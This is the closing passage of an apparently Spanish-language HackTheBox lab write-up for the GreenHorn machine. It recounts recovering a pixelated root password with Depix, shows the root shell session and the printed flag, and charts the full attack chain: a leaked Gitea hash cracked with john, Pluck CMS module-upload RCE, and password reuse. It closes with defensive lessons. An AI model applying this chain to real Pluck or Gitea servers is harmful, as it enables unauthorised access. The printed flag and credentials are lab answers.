No es perfecto píxel a píxel, pero se lee. Quitando los espacios y en minúsculas, la contraseña es sidefromsidetheothersidesidefromsidetheotherside.

root.txt

su root
whoami
cat /root/root.txt

su root con la contraseña recuperada por Depix da shell de root y cat root.txt devuelve la flag

su root
Password: sidefromsidetheothersidesidefromsidetheotherside
whoami
root
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@greenhorn:/var/www/html/pluck# cd /root
cd /root
root@greenhorn:~# cat root.txt
726f094c970487e70525cd8d7850b61d
root@greenhorn:~#

La contraseña del PDF era, literalmente, la de root.

pantalla de HackTheBox indicando que GreenHorn ha sido comprometida

Cadena de ataque

nmap -p-  →  22, 80, 3000  (ttl 63 → Linux)
   │  cookie i_like_gitea en el fingerprint del 3000
   ▼
web :80  →  redirect a greenhorn.htb  →  Pluck CMS 4.7.18
   ├─ ?file= fuzzeado  →  "hacking attempt detected"   (descartado)
   ├─ login.php  →  bloqueo a los 5 min                (CVE-2024-43042 no explotable aquí)
   ▼
Gitea :3000 (sin autenticación)  →  repo GreenAdmin/GreenHorn
   │  data/settings/pass.php  →  hash SHA-512
   │  john --format=raw-sha512  →  iloveyou1
   ▼
Pluck admin  →  admin.php?action=installmodule  →  .zip con .php  (CVE-2023-50564)
   ▼
www-data
   │  su junior  (iloveyou1, reutilización de contraseña)
   ▼
junior (user.txt)
   │  Using OpenVAS.pdf  →  pdfimages  →  mogrify  →  PIL a RGB  →  Depix
   ▼
root  (su, root.txt)

Lecciones aprendidas

  • El escaneo inicial ya contenía la respuesta. nmap no supo poner nombre al puerto 3000, pero volcó el fingerprint, y ahí estaba la cookie i_like_gitea. Leer la salida completa, y no solo la columna SERVICE, ahorra la mitad del trabajo.
  • Un aviso de seguridad es una hipótesis, no un hecho. La CVE-2024-43042 decía que Pluck 4.7.18 no limita los intentos de login; la instalación real sí los limitaba, y el script de fuerza bruta lo demostró. Comprobar antes que asumir.
  • El código fuente lo cuenta todo. Un Gitea público dejó leer el repositorio y, con él, el hash de la contraseña del panel. Un CMS sin base de datos guarda sus secretos en ficheros; si esos ficheros acaban en un repositorio accesible, no hay algoritmo que valga.
  • SHA-512 sin sal no protege una contraseña de diccionario. iloveyou1 cayó en menos de un segundo. Para contraseñas hay que usar funciones deliberadamente lentas y con sal (bcrypt, scrypt, argon2).
  • Instalar módulos puede ser subir una shell. La CVE-2023-50564 convierte la carga de un .zip en RCE porque el instalador no valida el contenido. Validar lo que se descomprime y quitar la ejecución de PHP del directorio de módulos lo evita.
  • Pixelar no es tapar. El pixelado es determinista y por tanto reversible por comparación: Depix reconstruyó la contraseña de root a partir de una franja de 420 × 15 píxeles. Para ocultar texto en un documento, recuadro sólido o borrarlo del origen, nunca difuminar ni pixelar.
Cheatsheet de comandos 17 comandos

Repaso rápido